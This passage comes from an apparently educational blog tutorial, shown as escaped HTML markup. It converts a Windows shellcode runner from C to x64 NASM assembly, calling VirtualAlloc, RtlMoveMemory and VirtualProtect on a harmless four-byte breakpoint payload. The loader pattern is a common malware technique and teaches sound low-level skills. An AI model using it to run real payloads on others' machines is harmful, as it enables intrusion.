&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;rv&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;VirtualProtect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;exec_mem&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;payload_len&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PAGE_EXECUTE_READ&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;oldprotect&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;In assembly, we supply the parameters like so:&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;;; Make new buffer as executable&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;exec_mem&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;;; First parameter&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;xor&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;dl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;payload_len&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;;; Second parameter&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x20&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="c1"&gt;;; Third parameter&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;xor&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r9&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r9&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;lea&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r9&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;old_protect&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;;; Fourth parameter&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;sub&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;;; Reserve shadow space&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;VirtualProtect&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;;; Call function&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;;; Release shadow space&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;For functions that require more than four parameters, the stack needs to be utilized. This can get confusing so let me point you to &lt;a href="https://sonictk.github.io/asm_tutorial/#windows:thewindowtothehardware/themicrosoftx64callingconvention"&gt;this post&lt;/a&gt; as it has diagrams for visualization.&lt;/p&gt;
&lt;h2 id="the-final-code"&gt;The final code&lt;/h2&gt;
&lt;p&gt;The rest of the code can be converted using the concepts I've described above. Here is the fully converted code:&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;bits&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;64&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;default&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rel&lt;/span&gt;

&lt;span class="nf"&gt;segment&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;.data&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;msg_hello&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;db&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="no"&gt;Hello&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;world&lt;/span&gt;&lt;span class="p"&gt;!&lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0xd&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0xa&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;msg_exec_addr&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;db&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="no"&gt;exec_mem&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;addr&lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;msg_pload_addr&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;db&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="no"&gt;payload&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;addr&lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;msg_format&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;db&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="err"&gt;&amp;quot;%&lt;/span&gt;&lt;span class="mi"&gt;-20&lt;/span&gt;&lt;span class="no"&gt;s&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="no"&gt;x&lt;/span&gt;&lt;span class="err"&gt;%&lt;/span&gt;&lt;span class="mi"&gt;-016&lt;/span&gt;&lt;span class="no"&gt;p&lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0xd&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0xa&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;msg_hit_me&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;db&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="no"&gt;Hit&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;me&lt;/span&gt;&lt;span class="p"&gt;!&lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0xd&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0xa&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;;; 4 byte payload&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;payload&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;db&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;0x90&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x90&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0xCC&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0xC3&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;payload_len&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;db&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;

&lt;span class="nf"&gt;segment&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;.bss&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;exec_mem&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;resb&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;old_protect&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;resb&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;

&lt;span class="no"&gt;segment&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;.text&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;global&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;main&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;extern&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ExitProcess&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;extern&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;printf&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;extern&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;VirtualAlloc&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;extern&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;VirtualProtect&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;extern&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;RtlMoveMemory&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;extern&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;getchar&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;extern&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;CreateThread&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;extern&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;WaitForSingleObject&lt;/span&gt;

&lt;span class="nl"&gt;main:&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;;; Allocate a memory buffer for payload.&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;xor&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;dl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;payload_len&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x3000&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r9&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x4&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;sub&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;VirtualAlloc&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;exec_mem&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;msg_format&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;lea&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;msg_pload_addr&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;lea&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;payload&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;sub&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;printf&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;msg_format&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;lea&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;msg_exec_addr&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;exec_mem&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;sub&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;printf&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;;; Copy payload to new buffer&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;exec_mem&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;lea&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;xor&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r8&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r8b&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;payload_len&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;sub&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;RtlMoveMemory&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;;; Make new buffer as executable&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;exec_mem&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;xor&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;dl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;payload_len&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x20&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;xor&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r9&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r9&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;lea&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r9&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;old_protect&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;sub&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;VirtualProtect&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt;

